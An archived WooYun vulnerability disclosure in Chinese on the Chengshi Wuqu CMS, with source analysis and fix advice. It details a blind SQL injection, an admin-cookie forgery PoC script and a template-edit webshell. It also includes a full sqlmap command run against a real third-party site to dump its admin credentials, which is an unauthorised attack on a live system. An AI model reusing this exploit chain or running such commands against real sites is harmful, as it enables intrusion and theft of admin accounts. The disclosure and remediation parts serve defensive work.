(新)程氏舞曲CMS 三步GETSHELL(实例演示+源码详析)

编号44824
Urlhttp://www.wooyun.org/bug.php?action=view&id=44824
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题(新)程氏舞曲CMS 三步GETSHELL(实例演示+源码详析)
漏洞类型SQL注射漏洞
厂商chshcms.com
白帽子lxj616
提交日期2013-12-04 10:52:00
公开日期2014-03-01 10:53:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签逻辑错误 sql注射漏洞利用技巧 php源码分析 白盒测试 后台验证绕过
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank0
漏洞简介
SQL绕过双重保险再注射+无需解MD5后台认证绕过(同时绕过了安装时写在config文件里的验证码)+后台GETSHELL 无论从技术难度还是危害讨论,均已到达最高RANK了吧
实例演示的站点为官方主页链接过去的 www.26yy.com
GETSHELL由于对服务器文件有影响,只在本机127.0.0.1演示
详细源码分析,漏洞证明截图各见下文相应区域
漏洞细节

第一步:
分析:
本CMS使用自定义CS_Request过滤所有GET和POST
比如:
$id=CS_Request("id");

function CS_Request($pi_strName)
{
set_magic_quotes_runtime(0); //明显要用addslashes
$magic= get_magic_quotes_gpc();
if ( isset($_GET[$pi_strName]) ){
$t_Val = $magic?trim($_GET[$pi_strName]):addslashes(trim($_GET[$pi_strName]));
}else if ( isset($_POST[$pi_strName])){
$t_Val = $magic?trim($_POST[$pi_strName]):addslashes(trim($_POST[$pi_strName]));
}else{
return '';
}
return uhtml($t_Val);
}


结论:本CMS使用addslashes对输入进行过滤
/user/member/skin_msg.php line:128

if(!empty($id)){ //id不能为空
$row=$db->getrow("select * from ".Getdbname('xiaoxi')." where CS_ID='".$id."'");
//上面这一句里id带上了引号,加上addslashes完全无法注射
//上面这一句的目的是 防止 非法数据起作用,先判断能否避免注射并且正常执行
if($row){//如果$row为真,即上一SQL成功执行并返回,则通过判定
$db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'");
//上面这一句里id没有带引号,如果前面无限制(第一句判定通过的话)应该可以盲注
//与以下语句无关,继续
if($row['CS_Userb']=='系统消息'){
$logo=piclink('logo','');
$link='#';
}else{
$us=$db->getrow("select * from ".Getdbname('user')." where CS_Name='".$row['CS_Userb']."'");
$logo=piclink('logo',$us['CS_Logo']);
$link=userlink('index',$us['CS_ID']);
}


//漏洞出在防注射的检测上(第一句)
$row=$db->getrow("select * from ".Getdbname('xiaoxi')." where CS_ID='".$id."'");
if($row){
……
$db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'");
//正常情况下第一句语句执行如下,$row为true,继续执行第二句
直接mysql控制台语句执行是这样的

mysql1.jpg


成功返回,因此可以继续
//但是在加入注入语句时,虽然没有引发注射,但是$row仍然为true
//因为单引号的作用是CAST VARCHAR TO INT,类似intval尽力从起始位置恢复一个整数,而不会报错终止,这样的话只要第一个数字正确存在,$row就会为true,语句将会继续执行

mysql2.jpg


成功返回了!仍然会继续!
//到达第二个语句时由于id没有单引号保护,所以引发了注射(但是addslashes仍然起着作用,所以只能依靠盲注)
$db->query("update ".Getdbname('xiaoxi')." set CS_DID=1 where CS_ID=".$id." and cs_usera='".$cscms_name."'");
登陆网站注册用户(本CMS的主要功能都强制要求注册使用,因此开放注册是必须的!)

inject normal.jpg


由于注射点在用户中心里面(外面可能也有,不过我分析的代码在用户中心里,所以就此演示了)
HAVIJ 一定记着 load cookie,SQLMAP记着 –cookie参数

HavijInject.jpg


参数:MYSQL-TIME-BASED INTEGER
请大家使用sqlmap,sqlmap示例在漏洞证明里对躺枪的26yy用了一下……
成功注射如下图

HavijInjectResult.jpg


注意图中的CS_QUANX是有值的,只是Havij 格式 BUG 没显示出来,还是SQLMAP比较靠谱,不过在本次漏洞挖掘中,只需要显示的三项就够了(后来发现sqlmap能跑出来,大家都用sqlmap吧)
//注射可以获取数据库内容,尤其是CS_AdminPass,不过这样是不够的,因为即使你能解MD5,也过不了admin登录时的验证码(验证码安装时写死在config.php里面了,注射获取不到,虽然才4位,暴力的话有悖于原则)
第一步 注射 完毕
第二步:
每一个admin下面的文件都包含loginstate.php
看来是用来验证身份
/admin/loginstate.php 开头没几行

if(empty($_COOKIE['CS_AdminID'])){
//COOKIE我们能控制
die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
}elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){
//COOKIE我们能控制
die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
}else{
global $db;
$rowa=$db->getrow("SELECT * FROM ".Getdbname('admin')." Where CS_ID='".$_COOKIE['CS_AdminID']."'");
//根据COOKIE里的admin id取数据
if($rowa){
if($rowa['CS_AdminName']!=$_COOKIE['CS_AdminUserName'] || md5($rowa['CS_AdminPass'])!=$_COOKIE['CS_AdminPassWord']){
//将取出的数据与COOKIE中数据比较,注意这里pass反向又用了md5,看来安全意识还是蛮高的,只是追求安全还用COOKIE这有点儿奇怪,到这里我们由注射拿到了CS_AdminName和CS_AdminPass,因此可以伪造COOKIE进后台了
//与以下代码无关
die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
}
}else{
die("<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>");
}
}


//伪造身份POC

<?php
$CS_AdminID=1;
$CS_AdminUserName='admin';
$CS_AdminPass='5f4dcc3b5aa765d61d8327deb882cf99';
$CS_Quanx='1,2_2,2_3,2_4,2_5,2_6,2_7,3_1,3_2,3_3,3_4,4_1,4_2,4_3,4_4,4_5,4_6,4_7,5_1,5_2,5_3,5_4,5_5,6_1,6_2,6_3,7_1,7_2,8_1,8_2,8_3,8_4';
$CS_AdminPassWord=md5($CS_AdminPass);
$CS_Login=md5($CS_AdminID.$CS_AdminUserName.$CS_AdminPassWord.$CS_Quanx);
echo 'CS_Quanx='.$CS_Quanx.' ';
echo 'CS_AdminUserName='.$CS_AdminUserName.' ';
echo 'CS_AdminPassWord='.$CS_AdminPassWord.' ';
echo 'CS_Login='.$CS_Login.' ';
?>


//直接将前三项改为注射结果即可,$CS_Quanx应该固定为示例字符串即可无需改动
将提示出来的COOKIE分项添加进firefox即可,或者其他自己喜欢的方法均可
懒得做js脚本了,这个POC凑合着测试吧

pocPhp.jpg


setCookie.jpg


提示:这里的CS_AdminPassWord为数据库pass的再次md5值,当初审代码时没注意,走了点弯路
设置好COOKIE直接进入后台即可,直接不登陆,访问图中后台url

intoBack.jpg


第二步 绕过 进入后台 成功
第三步:
在模板-模板管理里面 选择 第一个默认自带模板 编辑

get1.jpg


get2.jpg


随便选一个进行编辑,能改扩展名(我选的第二个,呵呵,已经暴露了,上面图里我已经改完一个了)

get3.jpg


//既然我目前用的是WINDOWS,不妨上个菜刀吧

shell.jpg


第三步 GETSHELL 完成
到此分析完毕 下面是实站演示

POC

www.26yy.com 躺枪了 感谢它的被无私奉献

sqlmap.py -u "http://www.26yy.com/user/space.php?ac=msg&op=look&id=423" --cookie="CS_LoginIP=219.234.5.254; cs_id=1725; cs_name=lxj616; PHPSESSID=d44lfco4nshi8tum05oakco4b7; AJSTAT_ok_pages=3; AJSTAT_ok_times=1" --dbms=mysql -p "id" --dump -C "CS_ID,CS_AdminName,CS_AdminPass,CS_Quanx" -T "cs_admin" -D "lxp922"


26_pre.jpg


26.jpg


由于GETSHELL会对服务器造成确切的危害,因此只演示注射好吧~
下面是上面详细分析中本机测试的截图(绕过+GETSHELL)

setCookie.jpg


intoBack.jpg


shell.jpg

修复方案

1.SQL注入
(主要是分析中的第二句引发注射)
解决方式:把所有语句id之类的变量都带上单引号,然后再进SQL查询,而不能依赖某处的判断
2.后台绕过
解决方式:第一种方式可以全用SESSION,不允许使用用户可控的COOKIE,因为ADMIN是敏感操作,不需要什么十天半个月后还能自动登录的功能
第二种方式可以在加密算法中整合CONFIG.PHP中的验证码运算,这样可以保证验证码的作用不被绕过
3.后台GETSHELL
解决方式:强行把用户编辑的模板文件扩展名改为html

状态信息 2013-12-04: 细节已通知厂商并且等待厂商处理中
2013-12-09: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-02-02: 细节向核心白帽子及相关领域专家公开
2014-02-12: 细节向普通白帽子公开
2014-02-22: 细节向实习白帽子公开
2014-03-01: 细节向公众公开
厂商回复None
回应信息危害等级:无影响厂商忽略忽略时间:2014-03-01 10:53
Showing 1-13 of 13 items.
评论内容评论人点赞数评论时间

@lxj616 谢谢!

an0nym0u502015-04-21 15:14:00

@an0nym0u5 程序逻辑bug 单引号转义之后又转义回来了 所以直接用单引号闭合就可以了

lxj61602015-04-21 14:57:00

请教洞主,有单引号保护的参数你是如何利用的?@lxj616

an0nym0u502015-04-21 11:19:00

干的漂亮

D_r0ck02015-01-03 10:27:00

厂商好牛逼,简直是在坏规矩。

m-3302015-01-02 12:36:00

@lxj616 可怜,不过你的教程写的很美,支持哦~~~

拨开乌云02014-09-20 20:32:00

@HackBraid 不可以的,因为有“后台安全码”安装时配置在config.php里面,后台登录时需要验证,而注射是读不出config文件的(况且注射拿到的密码是加密后的,破解起来有概率限制)

lxj61602014-06-26 10:26:00

@lxj616 挺精彩的,不明白的是注入拿到账户密码后为啥要伪造cookie登录,直接登录不行吗。。。

HackBraid02014-06-26 08:31:00

mark

小贱人02014-04-23 19:53:00

厂商无节操。 文章不错的,被忽略了可惜

廷廷02014-01-15 19:22:00

厂商无节操。

Holiday002014-01-03 17:29:00

呜呜呜 被忽略了 ……这可是3.0版(当时最新)GETSHELL啊,厂商憋洞一周今天直接官网放出3.5版本然后忽略了哇…………55555555555555再也不相信爱情了

lxj61602013-12-09 14:09:00

程氏舞曲?还真没见过

wefgod02013-12-09 11:33:00